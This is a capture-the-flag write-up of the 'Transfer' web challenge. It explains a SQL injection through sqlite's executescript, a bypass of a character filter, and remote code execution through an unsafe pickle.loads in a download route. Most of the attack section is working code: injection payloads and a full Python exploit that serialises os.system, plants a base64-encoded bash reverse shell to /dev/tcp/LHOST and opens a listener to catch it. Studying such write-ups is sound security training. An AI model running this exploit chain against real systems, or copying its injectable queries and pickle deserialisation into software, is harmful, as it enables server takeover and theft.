Transfer
Category: Web

Description
Author: @JohnHammond#6971
Inspired by current events! :D
Escalate your privileges and find the flag.
Analysis
Structure
app.py
requirements.txt
├ templates/
├── files.html
├── login.html
SQL Injection
@app.route('/login', methods=['POST'])
def login_user():
username = DBClean(request.form['username'])
password = DBClean(request.form['password'])
conn = get_db()
c = conn.cursor()
sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
c.executescript(sql)
user = c.fetchone()
if user:
c.execute(f"SELECT sessionid FROM activesessions WHERE username=?", (username,))
active_session = c.fetchone()
if active_session:
session_id = active_session[0]
else:
c.execute(f"SELECT username FROM users WHERE username=?", (username,))
user_name = c.fetchone()
if user_name:
session_id = str(uuid.uuid4())
c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
else:
flash("A session could be not be created")
return logout()
session['username'] = username
session['session_id'] = session_id
conn.commit()
return redirect(url_for('files'))
else:
flash('Username or password is incorrect')
return redirect(url_for('home'))
1. Vulnerability arises from the use of string concatenation to construct the SQL query in the login_user()
function. line 9
2. executescript
() and execute()
methods are both used in Python's sqlite3 to execute SQL statements against an SQLite database. line 10
executescript():
Used to execute multiple SQL statements or a complete SQL script at once.
It allows the execution of multiple SQL statements separated by semicolons (
;
) or newlines (\n
) in a single call.The
executescript()
method can handle DDL (Data Definition Language) statements likeCREATE TABLE
orALTER TABLE
, as well as DML (Data Manipulation Language) statements likeINSERT
,UPDATE
, orDELETE
.It returns no result set.
execute()
:
Used to execute a single SQL statement.
It is suitable for executing individual SQL statements or parameterized queries.
The SQL statement can be a DDL or DML statement, depending on the desired operation.
It can return result sets for queries, allowing you to fetch the retrieved data using methods like
fetchone()
,fetchall()
, orfetchmany()
.
Main difference:
executescript() allow multiple SQL statements in one input string
The DBClean
function do wrong filter by removing '
, "
and Space
.
then replacing backslashes to '
.
def DBClean(string):
for bad_char in " '\"":
string = string.replace(bad_char,"")
return string.replace("\\", "'")
We can bypass them like this:
' -> \\
Space -> /**/
After setup local webserver to debug app, flask app will create database on tmp:
DATABASE = '/tmp/database.db'
Table creation statements define the structure for users, active sessions, and files in the database:
c.execute("CREATE TABLE IF NOT EXISTS users (username text, password text)")
c.execute("CREATE TABLE IF NOT EXISTS activesessions (sessionid text, username text, timestamp text)")
c.execute("CREATE TABLE IF NOT EXISTS files (filename text PRIMARY KEY, data blob, sessionid text)")
To verify the success of our initial injection payload, we can target the /login
endpoint with username
POST parameter.
%0a is URL-encoding of a newline
admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\admin\\,\\123456789\\);--

Pickle
Code execution
@app.route('/download/<filename>/<sessionid>', methods=['GET'])
def download_file(filename, sessionid):
conn = get_db()
c = conn.cursor()
(*) c.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
active_session = c.fetchone()
if active_session is None:
flash('No active session found')
return redirect(url_for('home'))
(*) c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
file_data = c.fetchone()
if file_data is None:
flash('File not found')
return redirect(url_for('files'))
file_blob = pickle.loads(base64.b64decode(file_data[0]))
return send_file(io.BytesIO(file_blob), download_name=filename, as_attachment=True)
We need to create two payloads using our SQL injection👏
admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\admin\\,\\admin\\,\\2023-06-16/**/20:06:55.531553\\);--
admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\FileName\\,\\PickleBase64Payload\\,\\admin\\);--
Our controlled file_data[0] (base64 pickle payload) will be loaded bypickle.loads()
.
After injecting data into the tables, the last step consists of sending a GET request to the /download/<filename>/<sessionid>
endpoint, resulting code execution. 👏
Exploit

import pickle, requests ,sys, random, base64, os
import threading, telnetlib, socket
URL, LHOST = sys.argv[1], sys.argv[2].replace(':', '/')
print(f"(+) Target URL: {URL}")
print(f"(+) LHOST: {LHOST}")
ngrok = input("\nDo you use ngrok? | y, n: ")
if ngrok == 'y':
ngrokPort = input("Which port you specify on ngrok? | ex: 443 : ")
listnerPort = ngrokPort
else:
listnerPort = LHOST.rsplit('/', 1)[-1]
def doPickle(payload):
class PickleRce(object):
def __reduce__(self):
return (os.system, (payload,))
return base64.b64encode(pickle.dumps(PickleRce()))
def triggerPayload(filename):
print("(+) Trigger payload")
headers = {
'Host': URL,
'Content-Type': 'application/x-www-form-urlencoded',
}
endpoint = f"{URL}/download/{filename}/38"
print(f"(+) Endpoint: {endpoint}")
return requests.get(endpoint, headers=headers, verify=False, allow_redirects=False).text
def sendRequest(description, data):
print(f"(+) {description}")
headers = {
'Host': URL,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = f'username={data}&password=1'
return requests.post(f"{URL}/login", headers=headers, data=data, verify=False, allow_redirects=False).text
def handler(port):
print(f"(+) Starting handler on port {port}")
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", int(port)))
s.listen(1)
conn, addr = s.accept()
print(f"(+) Got Connection from {addr[0]}")
t.sock = conn
print("(+) Silv3r")
t.interact()
handlerThread = threading.Thread(target=handler, args=(listnerPort,))
handlerThread.start()
payload = "admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\38\\,\\123456789\\);--"
sendRequest("Create user", payload)
payload = "admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\38\\,\\38\\,\\2023-06-16/**/20:06:55.531553\\);--"
sendRequest("Create session", payload)
randNum = random.randint(10000, 99999)
encodedCommand = base64.b64encode(f'bash -i >& /dev/tcp/{LHOST} 0>&1'.encode('utf-8')).decode('utf-8')
Command = f'echo "{encodedCommand}" | base64 -d | bash '
picklePayload = doPickle(Command).decode('utf-8')
payload = "admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\REPLACEFILENAME\\,\\REPLACEMEPICKLE\\,\\38\\);--".replace("REPLACEFILENAME", str(randNum)).replace("REPLACEMEPICKLE", picklePayload)
sendRequest("Create file", payload)
triggerPayload(randNum)

Last updated